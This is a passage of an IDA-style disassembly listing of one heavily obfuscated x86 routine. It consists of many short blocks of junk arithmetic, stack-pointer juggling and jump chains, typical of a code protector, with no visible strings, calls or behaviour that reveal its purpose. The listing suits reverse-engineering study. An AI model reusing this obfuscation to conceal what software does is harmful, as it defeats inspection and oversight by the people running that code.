loc_5D0410:				; CODE XREF: sub_5A55E5+29218j
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5C6E45
; ---------------------------------------------------------------------------


loc_5D0418:				; CODE XREF: sub_5A55E5+20F0Dj
		sub	ebx, 0A2A69D08h
		and	ebp, ebx
		jmp	loc_5C1725
; ---------------------------------------------------------------------------


loc_5D0425:				; CODE XREF: sub_5A55E5+2AB3Cj
		xchg	esi, [esp+0B6h+var_B8+2]
		jmp	loc_5D372E
; ---------------------------------------------------------------------------


loc_5D042D:				; CODE XREF: sub_5A55E5+29F8Fj
		mov	dl, byte ptr [esp+0A2h+var_A4+2]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0A6h+var_A8+2]
		pop	esp
		not	dl
		add	dl, 6Eh
		push	edx
		mov	dl, 0B0h
		jmp	loc_5CD22E
; ---------------------------------------------------------------------------


loc_5D044D:				; CODE XREF: sub_5A55E5+25130j
		mov	edx, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_5C7799
; ---------------------------------------------------------------------------


loc_5D0458:				; CODE XREF: sub_5A55E5+1AEACj
		push	5D09h
		mov	[esp+0A0h+var_A0], edx
		push	ecx
		mov	cl, 28h
		add	cl, 5Dh
		sub	cl, 1
		shr	cl, 3
		push	small 2B45h
		mov	word ptr [esp+0A6h+var_A8+2], dx
		jmp	loc_5CC2DB
; ---------------------------------------------------------------------------


loc_5D0479:				; CODE XREF: sub_5A55E5+1E286j
		mov	ebx, 2CC93C2Dh
		and	edx, ebx
		pop	ebx
		jmp	loc_5C5778
; ---------------------------------------------------------------------------


loc_5D0486:				; CODE XREF: sub_5A55E5+20EE3j
		sub	ebx, 0FFFFFFFFh
		push	eax
		jmp	loc_5CDC94
; ---------------------------------------------------------------------------


loc_5D048F:				; CODE XREF: sub_5A55E5+1F030j
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8Ah+var_8C+2]
		mov	esp, [esp+8Ah+var_8C+2]
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], edi
		mov	edi, 3BA6200Fh
		shl	edi, 6
		shl	edi, 6
		push	esi
		jmp	loc_5D1930
; ---------------------------------------------------------------------------


loc_5D04BC:				; CODE XREF: sub_5A55E5+2699Bj
		mov	[esp+96h+var_98+2], esp
		add	[esp+96h+var_98+2], 4
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	ebx
		push	[esp+96h+var_94+2]
		mov	ebx, [esp+9Ah+var_9C+2]
		add	esp, 4
		jmp	loc_5CABDA
; ---------------------------------------------------------------------------


loc_5D04E6:				; CODE XREF: sub_5A55E5+2287Bj
		xor	[esp+90h+var_90], edi
		jmp	loc_5CE4BE
; ---------------------------------------------------------------------------


loc_5D04EE:				; CODE XREF: sub_5A55E5+2C4C0j
		mov	[esp+90h+var_90], eax
		xor	[esp+90h+var_90], 5D35729Bh
		mov	edx, [esp+90h+var_90]
		add	esp, 4
		push	ebx
		mov	ebx, 2A2841EEh
		push	0AA5h
		mov	[esp+94h+var_94], eax
		jmp	loc_5D017D
; ---------------------------------------------------------------------------


loc_5D0514:				; CODE XREF: sub_5A55E5+2C89Ej
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+94h+var_94]
		xor	[esp+94h+var_94], ebp
		xor	ebp, [esp+94h+var_94]
		pop	esp
		xor	ebp, edi
		pop	edi
		add	ebp, 774A1252h
		push	2C54h
		mov	[esp+90h+var_90], esi
		mov	esi, 19F34973h
		jmp	loc_5C3EE6
; ---------------------------------------------------------------------------


loc_5D0547:				; CODE XREF: sub_5A55E5+26812j
		pop	edi
		jmp	loc_5CA53D
; ---------------------------------------------------------------------------


loc_5D054D:				; CODE XREF: sub_5A55E5+2A042j
		pop	edx
		sub	ecx, 73455839h
		mov	ebp, ecx
		pop	ecx
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5CEAE9
; ---------------------------------------------------------------------------


loc_5D055F:				; CODE XREF: sub_5A55E5+1A55Aj
		push	eax
		sub	[esp+72h+var_74+2], 57BA4845h
		pop	ebp
		add	ebp, 57BA4845h
		jmp	loc_5D1510
; ---------------------------------------------------------------------------


loc_5D0573:				; CODE XREF: sub_5A55E5+2A056j
		mov	[esp+8Ch+var_8C], edx
		push	7C290D1Bh
		jmp	loc_5CAB28
; ---------------------------------------------------------------------------


loc_5D0580:				; CODE XREF: sub_5A55E5+1BD55j
		add	ebx, 28430872h
		add	ebx, esi
		sub	esp, 4
		mov	[esp+0CCh+var_CC], esi
		mov	esi, 28430872h
		jmp	loc_5C4589
; ---------------------------------------------------------------------------


loc_5D0598:				; CODE XREF: sub_5A55E5+294DAj
		mov	ebp, esp
		jmp	loc_5C3AAE
; ---------------------------------------------------------------------------


loc_5D059F:				; CODE XREF: sub_5A55E5+27659j
		pop	edx
		shl	esi, 2
		xor	esi, 0ACE3D2ADh
		xor	ebp, esi
		pop	esi
		push	eax
		jmp	loc_5C9E6E
; ---------------------------------------------------------------------------


loc_5D05B2:				; CODE XREF: sub_5A55E5+1A83Fj
		push	edx
		jmp	loc_5CA2B1
; ---------------------------------------------------------------------------


loc_5D05B8:				; CODE XREF: sub_5A55E5+2017Aj
		mov	edi, [esp+8Eh+var_90+2]
		add	esp, 4
		jmp	loc_5C62BA
; ---------------------------------------------------------------------------


loc_5D05C6:				; CODE XREF: sub_5A55E5+1E206j
		push	eax
		mov	eax, 4F6F0A66h
		sub	ebx, eax
		pop	eax
		sub	ebx, 815BF4DEh
		or	eax, ebx
		mov	ebx, [esp+0C0h+var_C0]
		add	esp, 4
		jmp	loc_5C95DA
; ---------------------------------------------------------------------------


loc_5D05E5:				; CODE XREF: sub_5A55E5+2D9EAj
		mov	dl, 54h
		add	dl, ah
		mov	eax, [esp+0BCh+var_BC]
		add	esp, 4
		dec	dl
		sub	dl, 63h
		add	al, dl
		jmp	loc_5C2131
; ---------------------------------------------------------------------------


loc_5D05FE:				; CODE XREF: sub_5A55E5+29B79j
		mov	edi, 5A2F16ABh
		push	edi
		push	ecx
		jmp	loc_5C74F5
; ---------------------------------------------------------------------------


loc_5D060A:				; CODE XREF: sub_5A55E5+1E5A1j
		push	ecx
		mov	ecx, 22E22558h
		shl	ecx, 7
		sub	ecx, 437C64D1h
		add	ecx, 4B2B4EB0h
		add	ecx, 0FFFFFFFFh
		sub	ecx, 49541E05h
		add	ecx, 1A2F9C11h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 333C96Ah
		jmp	loc_5C639C
; ---------------------------------------------------------------------------


loc_5D063C:				; CODE XREF: sub_5A55E5+27623j
		pop	[esp+76h+var_78+2]
		mov	esp, [esp+72h+var_74+2]
		mov	[esp+72h+var_74+2], ecx
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D064A:				; CODE XREF: sub_5A55E5+24976j
		pop	esp
		mov	[esp+7Eh+var_80+2], ebx
		mov	ebx, 200h
		and	eax, ebx
		push	[esp+7Eh+var_80+2]
		pop	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_5D3D05
; ---------------------------------------------------------------------------


loc_5D066F:				; CODE XREF: sub_5A55E5+2E3CAj
		add	edi, edx
		pop	edx
		add	edx, 399366A7h
		jmp	loc_5D21AF
; ---------------------------------------------------------------------------


loc_5D067D:				; CODE XREF: sub_5A55E5+2DDBDj
		and	cl, 0F1h
		xor	cl, 72h
		jmp	loc_5C1283
; ---------------------------------------------------------------------------


loc_5D0688:				; CODE XREF: sub_5A55E5+25C3Fj
		add	edx, 5551681Bh
		jmp	loc_5C4ABD
; ---------------------------------------------------------------------------


loc_5D0693:				; CODE XREF: sub_5A55E5+21040j
		mov	esi, 303976FEh
		push	0CFC6891Eh
		pop	edx
		jmp	loc_5BFEFD
; ---------------------------------------------------------------------------


loc_5D06A3:				; CODE XREF: sub_5A55E5+1C902j
		mov	ebx, 0F26F8Ah
		add	ebx, 18F0316Ah
		push	esi
		jmp	loc_5C5324
; ---------------------------------------------------------------------------


loc_5D06B4:				; CODE XREF: sub_5A55E5+28A14j
		sub	eax, 0CE3EBF1h
		push	eax
		push	ebp
		mov	ebp, 0D395048h
		sub	[esp+0A6h+var_A4+2], ebp
		jmp	loc_5C4279
; ---------------------------------------------------------------------------


loc_5D06C9:				; CODE XREF: sub_5A55E5+2BBF4j
		and	edx, 1B0113E1h
		inc	edx
		add	edx, 0FFFFFDE2h
		mov	ecx, edx
		pop	edx
		add	edx, ecx
		pop	ecx
		jmp	loc_5C4334
; ---------------------------------------------------------------------------


loc_5D06E1:				; CODE XREF: sub_5A55E5+22EA8j
		push	185C1CF2h
		pop	eax
		jmp	loc_5BF98F
; ---------------------------------------------------------------------------


loc_5D06EC:				; CODE XREF: sub_5A55E5+1D094j
		pop	edi
		xor	edx, ebx
		mov	ebx, [esp+70h+var_70]
		jmp	loc_5CE6CE
; ---------------------------------------------------------------------------


loc_5D06F7:				; CODE XREF: sub_5A55E5+22906j
		sub	esp, 4
		mov	[esp+0A4h+var_A4], ecx
		mov	ecx, 5407208h
		shr	ecx, 8
		push	ebp
		mov	ebp, 5F1C18E7h
		sub	ebp, 30E026A6h
		add	ebp, 5048398Ch
		or	ecx, ebp
		jmp	loc_5C5E9D
; ---------------------------------------------------------------------------


loc_5D071E:				; CODE XREF: sub_5A55E5+206A4j
		sub	esi, 351A027Dh
		push	ebp
		mov	ebp, 58944A1h
		jmp	loc_5C1337
; ---------------------------------------------------------------------------


loc_5D072F:				; CODE XREF: sub_5A55E5+1D910j
		add	esp, 2
		push	ecx
		push	edx
		mov	dl, 0E7h
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], ecx
		mov	cl, 90h
		shr	cl, 5
		shl	cl, 3
		xor	cl, 1Bh
		jmp	loc_5C9E27
; ---------------------------------------------------------------------------


loc_5D074C:				; CODE XREF: sub_5A55E5+23CFBj
		add	eax, 21C7C12h
		jmp	loc_5CD94B
; ---------------------------------------------------------------------------


loc_5D0756:				; CODE XREF: sub_5A55E5+246D7j
		mov	edx, [esp+0C6h+var_C8+2]
		jmp	loc_5C003A
; ---------------------------------------------------------------------------


loc_5D075E:				; CODE XREF: sub_5A55E5+2E492j
		add	edi, 4
		jmp	loc_5CF95F
; ---------------------------------------------------------------------------


loc_5D0769:				; CODE XREF: sub_5A55E5+26AEEj
		sub	edi, 18D35D86h
		pop	ebp
		or	edi, 6636617Bh
		jmp	loc_5C0FA3
; ---------------------------------------------------------------------------


loc_5D077B:				; CODE XREF: sub_5A55E5+28B43j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D0780:				; CODE XREF: sub_5A55E5+27EADj
		pop	edx
		add	esp, 4
		push	edi
		push	[esp+0A2h+var_A0+2]
		pop	edi
		jmp	loc_5D0034
; ---------------------------------------------------------------------------


loc_5D078F:				; CODE XREF: sub_5A55E5+2C5F5j
		xor	byte ptr [esp+0A2h+var_A4+2], dl
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D0797:				; CODE XREF: sub_5A55E5+1BAA1j
		add	[esp+84h+var_80], 65AC32D9h
		push	[esp+84h+var_84]
		push	[esp+88h+var_88]
		pop	edx
		add	esp, 4
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 434F012Ch
		shl	ecx, 2
		xor	ecx, 0D3C04B4h
		add	eax, ecx
		pop	ecx
		jmp	loc_5C7D60
; ---------------------------------------------------------------------------


loc_5D07C6:				; CODE XREF: sub_5A55E5+2BC43j
		add	ecx, 4
		xor	ecx, [esp+88h+var_88]
		xor	[esp+88h+var_88], ecx
		xor	ecx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		jmp	loc_5C8CFE
; ---------------------------------------------------------------------------


loc_5D07DA:				; CODE XREF: sub_5A55E5+250FBj
		sub	[esp+9Eh+var_A0+2], 399E4AA6h
		jmp	loc_5C3847
; ---------------------------------------------------------------------------


loc_5D07E6:				; CODE XREF: sub_5A55E5+28F5Ej
		pop	edx
		sub	eax, edx
		pop	edx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_5C062E
; ---------------------------------------------------------------------------


loc_5D07F3:				; CODE XREF: sub_5A55E5+275B5j
		pop	esp
		jmp	loc_5C75E7
; ---------------------------------------------------------------------------


loc_5D07F9:				; CODE XREF: sub_5A55E5+2666Fj
		xor	ebp, ebx
		pop	ebx
		sub	ecx, 50BD0542h
		add	ecx, ebp
		add	ecx, 50BD0542h
		mov	ebp, [esp+0ACh+var_AC]
		jmp	loc_5C3AE7
; ---------------------------------------------------------------------------


loc_5D0812:				; CODE XREF: sub_5A55E5+2BDF8j
		mov	esp, [esp+0ACh+var_AC]
		push	23D0h
		mov	[esp+0B0h+var_B0], eax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D0822:				; CODE XREF: sub_5A55E5+2A655j
		add	edx, 4
		push	edx
		push	[esp+98h+var_94]
		pop	edx
		pop	[esp+98h+var_98]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	3329h
		mov	[esp+94h+var_94], eax
		push	edi
		push	[esp+98h+var_94]
		jmp	loc_5C2073
; ---------------------------------------------------------------------------


loc_5D0846:				; CODE XREF: sub_5A55E5+1B720j
		push	ebp
		jmp	loc_5C7E2C
; ---------------------------------------------------------------------------


loc_5D084C:				; CODE XREF: sub_5A55E5+1C4B3j
		add	esi, ebx
		mov	ebx, [esp+0B2h+var_B4+2]
		jmp	loc_5C12F7
; ---------------------------------------------------------------------------


loc_5D0856:				; CODE XREF: sub_5A55E5+1D8E8j
		add	eax, edi
		mov	dword ptr [eax], 1
		push	[esp+0BAh+var_BC+2]
		pop	eax
		push	3975h
		mov	[esp+0BEh+var_C0+2], ecx
		jmp	loc_5D0187
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0BEh+var_C0+2]
		push	884h
		jmp	loc_5CBFBC
; ---------------------------------------------------------------------------


loc_5D087D:				; CODE XREF: sub_5A55E5+27099j
		mov	[esp+54h+var_54], esi
		jmp	loc_5D01B7
; ---------------------------------------------------------------------------


loc_5D0885:				; CODE XREF: sub_5A55E5+1ABF6j
		mov	ebx, [esp+7Ah+var_7C+2]
		jmp	loc_5D01F2
; ---------------------------------------------------------------------------


loc_5D088D:				; CODE XREF: sub_5A55E5+1AE21j
		mov	word ptr [esp+9Ch+var_9C], bx
		mov	bl, 3Fh
		push	eax
		jmp	loc_5CA18F
; ---------------------------------------------------------------------------


loc_5D0899:				; CODE XREF: sub_5A55E5+2DFDFj
		xor	eax, ebp
		push	[esp+0A0h+var_A0]
		pop	ebp
		jmp	loc_5C306C
; ---------------------------------------------------------------------------


loc_5D08A4:				; CODE XREF: sub_5A55E5+2C743j
		push	ebx
		push	3C54756Fh
		pop	ebx
		add	ebx, 1C88243Ah
		sub	ebx, 174C12CEh
		dec	ebx
		push	eax
		mov	eax, 0F3E17C7Fh
		add	ebx, eax
		pop	eax
		mov	esi, ebx
		mov	ebx, [esp+0A4h+var_A4]
		add	esp, 4
		add	esi, 7AC73074h
		xor	esi, 86CF4597h
		jmp	loc_5C0BCA
; ---------------------------------------------------------------------------


loc_5D08DA:				; CODE XREF: sub_5A55E5+21402j
		sub	ebp, edx
		jmp	loc_5CF1E4
; ---------------------------------------------------------------------------


loc_5D08E1:				; CODE XREF: sub_5A55E5+2A84Dj
		pop	ebp


loc_5D08E2:				; CODE XREF: sub_5A55E5+215E3j
		push	0EDBh
		mov	[esp+0A8h+var_A8], ebx
		jmp	loc_5C1925
; ---------------------------------------------------------------------------


loc_5D08EF:				; CODE XREF: sub_5A55E5+1C179j
		shr	ecx, 4
		dec	ecx
		shr	ecx, 4
		dec	ecx
		push	6F89h
		mov	[esp+6Ah+var_6C+2], eax
		jmp	loc_5D2BDC
; ---------------------------------------------------------------------------


loc_5D0904:				; CODE XREF: sub_5A55E5+21CADj
		and	edx, 506C5685h
		shl	edx, 1
		shr	edx, 6
		jmp	loc_5D1B67
; ---------------------------------------------------------------------------


loc_5D0914:				; CODE XREF: sub_5A55E5+2C3F6j
		mov	eax, 4
		push	esi
		jmp	loc_5C1B34
; ---------------------------------------------------------------------------


loc_5D091F:				; CODE XREF: sub_5A55E5+2767Bj
		add	ebx, esi
		sub	ebx, 4DF42D8Ch
		push	[esp+90h+var_90]
		pop	esi
		add	esp, 4
		mov	ecx, [esp+8Ch+var_8C]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		jmp	loc_5CB3AA
; ---------------------------------------------------------------------------


loc_5D0948:				; CODE XREF: sub_5A55E5+219AFj
		mov	ebx, [esp+7Ah+var_7C+2]
		add	esp, 4
		sub	edi, 4
		jmp	loc_5CCA23
; ---------------------------------------------------------------------------


loc_5D0959:				; CODE XREF: sub_5A55E5+29D0Cj
		pop	edx
		shl	dl, 5
		jmp	loc_5CF569
; ---------------------------------------------------------------------------


loc_5D0962:				; CODE XREF: sub_5A55E5+262C3j
		pop	[esp+88h+var_88]
		mov	esp, [esp+84h+var_84]
		inc	word ptr [esp+84h+var_84]
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D0972:				; CODE XREF: sub_5A55E5+1B8F4j
		push	esp
		pop	ebp
		push	7BC3h
		jmp	loc_5D1AAA
; ---------------------------------------------------------------------------


loc_5D097E:				; CODE XREF: sub_5A55E5+1FADEj
		pop	ebp
		jmp	loc_5C4140
; ---------------------------------------------------------------------------


loc_5D0984:				; CODE XREF: sub_5A55E5+25BAFj
		mov	esp, [esp+82h+var_84+2]
		mov	[esp+82h+var_84+2], ecx
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D098F:				; CODE XREF: sub_5A55E5+2B7C7j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5CE942
; ---------------------------------------------------------------------------


loc_5D099F:				; CODE XREF: sub_5A55E5+2A017j
		push	eax
		push	ebx
		mov	ebx, 0B8A304Dh
		push	ebx
		jmp	loc_5C6175
; ---------------------------------------------------------------------------


loc_5D09AC:				; CODE XREF: sub_5A55E5+28957j
		push	ebp
		mov	ebp, 7B5C5248h
		shl	ebp, 1
		inc	ebp
		inc	ebp
		not	ebp
		sub	ebp, 50517CAh
		sub	edi, ebp
		jmp	loc_5CE409
; ---------------------------------------------------------------------------


loc_5D09C5:				; CODE XREF: sub_5A55E5+288C6j
		mov	[esp+92h+var_94+2], eax
		mov	eax, 78D963A3h
		xor	eax, 30A110A6h
		add	eax, 71BF479h
		jmp	loc_5CD15C
; ---------------------------------------------------------------------------


loc_5D09DC:				; CODE XREF: sub_5A55E5+2692Fj
		pop	ebx
		add	esp, 4
		pop	esi
		push	eax
		mov	eax, 6DCE723Eh
		shl	eax, 6
		jmp	loc_5C2285
; ---------------------------------------------------------------------------


loc_5D09F2:				; CODE XREF: sub_5A55E5+21CB5j
		mov	ebx, eax
		jmp	loc_5C8184
; ---------------------------------------------------------------------------


loc_5D09F9:				; CODE XREF: sub_5A55E5+2B5BAj
		push	esi
		mov	esi, 13FB34DFh
		jmp	loc_5C7EB4
; ---------------------------------------------------------------------------


loc_5D0A04:				; CODE XREF: sub_5A55E5+2A194j
		push	edi
		push	[esp+0BAh+var_B8+2]
		pop	edi
		pop	[esp+0BAh+var_BC+2]
		mov	esp, [esp+0B6h+var_B8+2]
		mov	[esp+0B6h+var_B8+2], esi
		sub	esp, 4
		mov	[esp+0BAh+var_BC+2], ebx
		jmp	loc_5CADF9
; ---------------------------------------------------------------------------


loc_5D0A21:				; CODE XREF: sub_5A55E5+20A31j
		not	edi
		sub	esp, 4
		mov	[esp+0B4h+var_B4], ebp
		push	ecx
		jmp	loc_5CBAC5
; ---------------------------------------------------------------------------


loc_5D0A2F:				; CODE XREF: sub_5A55E5+22789j
		push	ecx
		mov	ecx, 5C4C4A6Bh
		sub	eax, ecx
		jmp	loc_5C1B4A
; ---------------------------------------------------------------------------


loc_5D0A3C:				; CODE XREF: sub_5A55E5+2DE22j
		mov	ebp, [esp+94h+var_94]
		add	esp, 4
		add	esi, edx
		mov	edx, [esp+90h+var_90]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		xor	[esp+8Ch+var_8C], ecx
		xor	ecx, [esp+8Ch+var_8C]
		xor	[esp+8Ch+var_8C], ecx
		push	ecx
		jmp	loc_5D0D06
; ---------------------------------------------------------------------------


loc_5D0A70:				; CODE XREF: sub_5A55E5+1BBF0j
		add	ecx, 0E81CF396h
		jmp	loc_5BFC57
; ---------------------------------------------------------------------------


loc_5D0A7B:				; CODE XREF: sub_5A55E5+275E1j
		mov	[esp+9Eh+var_A0+2], esp
		jmp	loc_5D39BE
; ---------------------------------------------------------------------------


loc_5D0A83:				; CODE XREF: sub_5A55E5+222C1j
		mov	[esp+9Eh+var_A0+2], esp
		add	[esp+9Eh+var_A0+2], 4
		pop	eax
		jmp	loc_5CD862
; ---------------------------------------------------------------------------


loc_5D0A93:				; CODE XREF: sub_5A55E5+2BBFBj
		mov	ebx, 76FF273Fh
		add	eax, 730C0907h
		jmp	loc_5C8740
; ---------------------------------------------------------------------------


loc_5D0AA2:				; CODE XREF: sub_5A55E5+1B8AEj
		add	esp, 4
		push	0BE9h
		mov	[esp+84h+var_84], ebx
		push	edi
		push	ebx
		jmp	loc_5C7098
; ---------------------------------------------------------------------------


loc_5D0AB7:				; CODE XREF: sub_5A55E5+21980j
		mov	bl, cl
		pop	ecx
		pop	eax
		sub	esp, 2
		mov	word ptr [esp+76h+var_78+2], bx
		not	byte ptr [esp+76h+var_78+2]
		jmp	loc_5CD249
; ---------------------------------------------------------------------------


loc_5D0ACA:				; CODE XREF: sub_5A55E5+1F27Cj
		add	esp, 4
		push	eax
		jmp	loc_5BFE3C
; ---------------------------------------------------------------------------


loc_5D0AD6:				; CODE XREF: sub_5A55E5+2A6AEj
		mov	cl, dh
		pop	edx
		mov	dl, cl
		pop	ecx
		push	[esp+92h+var_94+2]
		pop	eax
		jmp	loc_5C0F15
; ---------------------------------------------------------------------------
		push	[esp+92h+var_94+2]
		mov	ecx, [esp+96h+var_98+2]
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_5D2898
; ---------------------------------------------------------------------------


loc_5D0AFD:				; CODE XREF: sub_5A55E5+2490Dj
		pop	edx
		jmp	loc_5D0E6B
; ---------------------------------------------------------------------------


loc_5D0B03:				; CODE XREF: sub_5A55E5+1EA53j
		sub	al, 0CBh
		pop	ecx
		mov	dx, word ptr [esp+0A6h+var_A8+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_5C38E2
; ---------------------------------------------------------------------------


loc_5D0B18:				; CODE XREF: sub_5A55E5+22C66j
		xchg	eax, [esp+84h+var_84]
		pop	esp
		jmp	loc_5CB753
; ---------------------------------------------------------------------------


loc_5D0B21:				; CODE XREF: sub_5A55E5+21FC4j
		push	small 547Ch
		mov	word ptr [esp+8Ah+var_8C+2], ax
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], ebx
		jmp	loc_5C66C2
; ---------------------------------------------------------------------------


loc_5D0B37:				; CODE XREF: sub_5A55E5+23117j
		add	esp, 4
		mov	ah, bh
		mov	ebx, [esp+5Eh+var_60+2]
		add	esp, 4
		sub	ah, 0BAh
		neg	ah
		shr	ah, 8
		push	ecx
		mov	cl, 13h
		and	ah, cl
		jmp	loc_5D1C18
; ---------------------------------------------------------------------------


loc_5D0B5A:				; CODE XREF: sub_5A55E5+1F4F3j
		sub	ebp, eax
		jmp	loc_5CF954
; ---------------------------------------------------------------------------


loc_5D0B61:				; CODE XREF: sub_5A55E5+1D1DCj
		xchg	eax, ebp
		xchg	eax, edx
		xor	edi, edx
		xor	edx, edi
		xor	edi, edx
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		jmp	loc_5C62D3
; ---------------------------------------------------------------------------


loc_5D0B74:				; CODE XREF: sub_5A55E5+1E237j
		push	edi
		mov	edi, edx
		jmp	loc_5CDAB2
; ---------------------------------------------------------------------------


loc_5D0B7C:				; CODE XREF: sub_5A55E5+2E328j
		add	edx, ebx
		pop	ebx
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D0B84:				; CODE XREF: sub_5A55E5+1CCD5j
		mov	edx, 0B8BFCB83h
		jmp	loc_5D17B9
; ---------------------------------------------------------------------------


loc_5D0B8E:				; CODE XREF: sub_5A55E5+24162j
		xor	ebp, 29252A7Ah
		jmp	loc_5D03B4
; ---------------------------------------------------------------------------


loc_5D0B99:				; CODE XREF: sub_5A55E5+24CB3j
		push	eax
		mov	eax, 5AA817E1h
		jmp	loc_5D09F9
; ---------------------------------------------------------------------------


loc_5D0BA4:				; CODE XREF: sub_5A55E5+2D5A2j
		or	eax, 2C136903h
		sub	eax, 17260120h
		xchg	eax, ebp
		jmp	loc_5C0AFF
; ---------------------------------------------------------------------------


loc_5D0BB4:				; CODE XREF: sub_5A55E5+2AA7Fj
		not	ebp
		add	ebp, 0B49B5021h
		sub	edi, ebp
		jmp	loc_5C4445
; ---------------------------------------------------------------------------


loc_5D0BC3:				; CODE XREF: sub_5A55E5+24257j
		pop	ebp
		add	ebx, 7BFC2E51h
		add	ebx, edx
		sub	ebx, 7BFC2E51h
		push	edi
		jmp	loc_5BFE19
; ---------------------------------------------------------------------------


loc_5D0BD8:				; CODE XREF: sub_5A55E5+1A264j
		sub	al, 0CBh
		sub	al, ch
		push	ecx
		jmp	loc_5D1E88
; ---------------------------------------------------------------------------


loc_5D0BE2:				; CODE XREF: sub_5A55E5+1F766j
		mov	ebx, 42C47CBEh
		jmp	loc_5C66FD
; ---------------------------------------------------------------------------


loc_5D0BEC:				; CODE XREF: sub_5A55E5+259EDj
		sub	ch, bl
		mov	ebx, [esp+98h+var_98]
		add	esp, 4
		jmp	loc_5BFBB8
; ---------------------------------------------------------------------------


loc_5D0BFC:				; CODE XREF: sub_5A55E5+22B51j
		xor	ecx, edi
		pop	edi
		jmp	loc_5C95CC
; ---------------------------------------------------------------------------


loc_5D0C04:				; CODE XREF: sub_5A55E5+1D212j
		sub	ecx, 76961417h
		add	ecx, 84F134E7h
		mov	ebp, ecx
		jmp	loc_5C4E57
; ---------------------------------------------------------------------------


loc_5D0C17:				; CODE XREF: sub_5A55E5+1FBD5j
		pop	esi
		add	esi, 1340C6A0h
		add	eax, 475B7FF5h
		sub	eax, 1F587C62h
		add	eax, esi
		add	eax, 1F587C62h
		sub	eax, 475B7FF5h
		jmp	loc_5CAE1E
; ---------------------------------------------------------------------------


loc_5D0C39:				; CODE XREF: sub_5A55E5+21134j
		mov	edx, 0D409FF47h
		add	edi, edx
		jmp	loc_5C1005
; ---------------------------------------------------------------------------


loc_5D0C45:				; CODE XREF: sub_5A55E5+25859j
		pop	eax
		or	bx, 3143h
		shr	bx, 4
		push	di
		mov	di, 700Bh
		xor	bx, di
		jmp	loc_5C0C79
; ---------------------------------------------------------------------------


loc_5D0C5D:				; CODE XREF: sub_5A55E5+293A2j
		push	ecx
		jmp	loc_5C6503
; ---------------------------------------------------------------------------


loc_5D0C63:				; CODE XREF: sub_5A55E5+2B745j
		mov	eax, [esp+40h+var_42+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 71595E5Dh
		xor	ebp, 71595E59h
		add	ebx, ebp
		jmp	loc_5C060B
; ---------------------------------------------------------------------------


loc_5D0C91:				; CODE XREF: sub_5A55E5+237BAj
		mov	edx, [esp+90h+var_90]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+98h+var_98], ebx
		mov	ebx, 4
		jmp	loc_5CEA7A
; ---------------------------------------------------------------------------


loc_5D0CAA:				; CODE XREF: sub_5A55E5+2DAEBj
		mov	esi, 4
		jmp	loc_5C4AEF
; ---------------------------------------------------------------------------


loc_5D0CB4:				; CODE XREF: sub_5A55E5+206CCj
		push	703C56D1h
		pop	edx
		add	edx, 0B01FE0B3h
		mov	esi, edx
		jmp	loc_5CF360
; ---------------------------------------------------------------------------


loc_5D0CC7:				; CODE XREF: sub_5A55E5+270A5j
		push	edi
		mov	edi, 4
		jmp	loc_5C8F90
; ---------------------------------------------------------------------------


loc_5D0CD2:				; CODE XREF: sub_5A55E5+1A925j
		inc	ebx
		inc	ebx
		shl	ebx, 1
		shr	ebx, 5
		shl	ebx, 1
		add	ebx, 1A2CBCD1h
		add	edx, ebx
		pop	ebx
		add	edx, esi
		push	ebx
		mov	ebx, 48055F42h
		sub	ebx, 215D1877h
		sub	edx, ebx
		jmp	loc_5CF205
; ---------------------------------------------------------------------------


loc_5D0CF9:				; CODE XREF: sub_5A55E5+27D70j
		mov	[esp+94h+var_94], ebx
		push	58132526h
		jmp	loc_5CAAB8
; ---------------------------------------------------------------------------


loc_5D0D06:				; CODE XREF: sub_5A55E5+2B486j
		not	[esp+90h+var_90]
		mov	ecx, [esp+90h+var_90]
		jmp	loc_5C5346
; ---------------------------------------------------------------------------


loc_5D0D11:				; CODE XREF: sub_5A55E5:loc_5C005Bj
		push	edi
		mov	edi, esp
		jmp	loc_5CE721
; ---------------------------------------------------------------------------


loc_5D0D19:				; CODE XREF: sub_5A55E5+259C8j
		or	edx, ebp
		jmp	loc_5D4067
; ---------------------------------------------------------------------------


loc_5D0D20:				; CODE XREF: sub_5A55E5+1DCC8j
		xor	eax, [esp+96h+var_98+2]
		pop	esp
